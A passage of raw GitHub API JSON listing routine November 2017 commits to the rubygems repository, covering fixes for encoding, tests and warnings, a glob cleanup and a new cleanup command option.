bot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"52167834bcc1c5b4a9d972a8ba703140d969ae07","url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","html_url":"https://github.com/rubygems/rubygems/commit/52167834bcc1c5b4a9d972a8ba703140d969ae07"},{"sha":"912049ad9432324e6f25d7efe1f0097e4d1b444a","url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","html_url":"https://github.com/rubygems/rubygems/commit/912049ad9432324e6f25d7efe1f0097e4d1b444a"}]},{"sha":"52167834bcc1c5b4a9d972a8ba703140d969ae07","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:00:33Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:00:33Z"},"message":"Auto merge of #2089 - mauromorales:master, r=segiddins\n\nAvoid encoding issues by using binread in setup\n\nFixes #2088\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"1b8513ebf931305a11d823902bca8a0e8a960b27","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b8513ebf931305a11d823902bca8a0e8a960b27"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07","html_url":"https://github.com/rubygems/rubygems/commit/52167834bcc1c5b4a9d972a8ba703140d969ae07","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/52167834bcc1c5b4a9d972a8ba703140d969ae07/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"},{"sha":"f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","html_url":"https://github.com/rubygems/rubygems/commit/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d"}]},{"sha":"912049ad9432324e6f25d7efe1f0097e4d1b444a","commit":{"author":{"name":"Lucas","email":"lucas.oliveira@iugu.com","date":"2017-11-21T14:49:11Z"},"committer":{"name":"Lucas","email":"lucas.oliveira@iugu.com","date":"2017-11-21T14:49:11Z"},"message":"Fix rake install_test_deps once the rake clean_env does not exist","tree":{"sha":"fc1ce4cf653e04d846d2f26e258364cd84d8c83b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fc1ce4cf653e04d846d2f26e258364cd84d8c83b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","html_url":"https://github.com/rubygems/rubygems/commit/912049ad9432324e6f25d7efe1f0097e4d1b444a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a/comments","author":null,"committer":null,"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"}]},{"sha":"f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","commit":{"author":{"name":"Mauro Morales","email":"contact@mauromorales.com","date":"2017-11-21T13:50:35Z"},"committer":{"name":"Mauro Morales","email":"contact@mauromorales.com","date":"2017-11-21T13:50:35Z"},"message":"Avoid encoding issues by using binread in setup\n\nFixes #2088","tree":{"sha":"1b8513ebf931305a11d823902bca8a0e8a960b27","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b8513ebf931305a11d823902bca8a0e8a960b27"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","html_url":"https://github.com/rubygems/rubygems/commit/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d/comments","author":{"login":"mauromorales","id":433958,"avatar_url":"https://avatars2.githubusercontent.com/u/433958?v=4","gravatar_id":"","url":"https://api.github.com/users/mauromorales","html_url":"https://github.com/mauromorales","followers_url":"https://api.github.com/users/mauromorales/followers","following_url":"https://api.github.com/users/mauromorales/following{/other_user}","gists_url":"https://api.github.com/users/mauromorales/gists{/gist_id}","starred_url":"https://api.github.com/users/mauromorales/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mauromorales/subscriptions","organizations_url":"https://api.github.com/users/mauromorales/orgs","repos_url":"https://api.github.com/users/mauromorales/repos","events_url":"https://api.github.com/users/mauromorales/events{/privacy}","received_events_url":"https://api.github.com/users/mauromorales/received_events","type":"User","site_admin":false},"committer":{"login":"mauromorales","id":433958,"avatar_url":"https://avatars2.githubusercontent.com/u/433958?v=4","gravatar_id":"","url":"https://api.github.com/users/mauromorales","html_url":"https://github.com/mauromorales","followers_url":"https://api.github.com/users/mauromorales/followers","following_url":"https://api.github.com/users/mauromorales/following{/other_user}","gists_url":"https://api.github.com/users/mauromorales/gists{/gist_id}","starred_url":"https://api.github.com/users/mauromorales/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mauromorales/subscriptions","organizations_url":"https://api.github.com/users/mauromorales/orgs","repos_url":"https://api.github.com/users/mauromorales/repos","events_url":"https://api.github.com/users/mauromorales/events{/privacy}","received_events_url":"https://api.github.com/users/mauromorales/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"}]},{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-21T11:01:28Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-21T11:01:28Z"},"message":"Auto merge of #2084 - hsbt:removed-unused-vals, r=hsbt\n\nRemoved warnings of unused variables.\n\nRemoved ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```","tree":{"sha":"4cd79acb5887d2a31a4e771248324bdd8eb1dce7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4cd79acb5887d2a31a4e771248324bdd8eb1dce7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc"},{"sha":"772f543d11f487943b265ff0f46b38c6de73d928","url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928","html_url":"https://github.com/rubygems/rubygems/commit/772f543d11f487943b265ff0f46b38c6de73d928"}]},{"sha":"772f543d11f487943b265ff0f46b38c6de73d928","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T07:54:14Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T07:54:14Z"},"message":"Removed warnings of unused variables.\n\n ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```","tree":{"sha":"4cd79acb5887d2a31a4e771248324bdd8eb1dce7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4cd79acb5887d2a31a4e771248324bdd8eb1dce7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/772f543d11f487943b265ff0f46b38c6de73d928","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloT28UACgkQ+c8TQXJk\n+sIhpAgA0yQSC/2fWGj6p+TIyyXapM55HXAngR2JWPqYSh8AFI6YbBkURmomL7w9\n0c7jOl8UMAbIDUW5hnxzr0PqU4HMSDGZubd4n81sJZCix1V6OH5kUbDORtfzQcyl\nTus34GQRy00GQ2CQynvD1rpG5uf7jGISVbvPN5moCClfD8McVgCrDJG5b1rPolQv\nR0BEV+BtGn1DHbchOBuCHC5i17Pv5Onu+yjnP8Mp9Ue6cHm9so3rWDnBBm+Dekwd\n0mM8h39GPIhci1bnWahG0qaefqmOE13FQNtWeEs0x2DiOlXXeAPGJrIfNcASw/vC\ngIh/cDRHErnunqlNQGKTSgkxaKBJ+Q==\n=wTEp\n-----END PGP SIGNATURE-----","payload":"tree 4cd79acb5887d2a31a4e771248324bdd8eb1dce7\nparent c06efbc9688d9f930c5efb924354fbb824e93cdc\nauthor SHIBATA Hiroshi 1511250854 +0900\ncommitter SHIBATA Hiroshi 1511250854 +0900\n\nRemoved warnings of unused variables.\n\n ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928","html_url":"https://github.com/rubygems/rubygems/commit/772f543d11f487943b265ff0f46b38c6de73d928","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc"}]},{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-17T20:11:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-17T20:11:12Z"},"message":"Auto merge of #2072 - znz:merge-glob-pattern, r=hsbt\n\nMerge glob pattern using braces\n\nRemove duplicated directory path.\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"4f9a83587f971d0350f00a454355c7adb30bd9fc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4f9a83587f971d0350f00a454355c7adb30bd9fc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","html_url":"https://github.com/rubygems/rubygems/commit/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8"},{"sha":"bb330275005d3f361240f205dc5f10258f3ff8ca","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","html_url":"https://github.com/rubygems/rubygems/commit/bb330275005d3f361240f205dc5f10258f3ff8ca"}]},{"sha":"309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-16T15:25:31Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-16T15:25:31Z"},"message":"Auto merge of #2079 - duckinator:fix-alpine-test-failures, r=hsbt\n\nFix test failure on Alpine Linux.\n\n# Description:\n\nFixes a test failure on Alpine Linux. The test failure was due to a regular expression that didn''t match the output of `sh` on Alpine.\n\nFixes #2075.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"cffcb0eb93b55bf91f3ccd1e5637b529f4302577","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cffcb0eb93b55bf91f3ccd1e5637b529f4302577"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","html_url":"https://github.com/rubygems/rubygems/commit/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a"},{"sha":"df26503495885b2afefc991ceb7cb3e8090e4e41","url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","html_url":"https://github.com/rubygems/rubygems/commit/df26503495885b2afefc991ceb7cb3e8090e4e41"}]},{"sha":"df26503495885b2afefc991ceb7cb3e8090e4e41","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-11-16T14:01:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-11-16T14:01:09Z"},"message":"Fix test failure on Alpine Linux.\n\nTest failure was due to a regular expression that doesn''t match the\noutput of `sh` on Alpine.","tree":{"sha":"cffcb0eb93b55bf91f3ccd1e5637b529f4302577","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cffcb0eb93b55bf91f3ccd1e5637b529f4302577"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","html_url":"https://github.com/rubygems/rubygems/commit/df26503495885b2afefc991ceb7cb3e8090e4e41","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41/comments","author":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a"}]},{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-13T23:54:41Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-13T23:54:41Z"},"message":"Auto merge of #2061 - godfat:cleanup-dev, r=segiddins\n\nAdd --[no-]check-development option to cleanup command\n\nDefault to check so it keeps backward compatibility.\n\n# Description:\n\nI just realized that there''s no way to force cleaning up gems without checking development dependency. I wish at least we have an option:\n\n```\ngem cleanup --no-check-development\n```\n\nThis is a bit too verbose to my taste, but to make it backward compatible and consistent with the uninstall command, this is probably the way to do it.\n\nThanks for reviewing.\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"6d38850038035aadf9f474a5b13026be7df0af5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6d38850038035aadf9f474a5b13026be7df0af5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/81017f8a655525246b67cafd6e4485b83e53037a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"76ef5bbd70c54bbd7196813ab121bc040082a79e","url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bb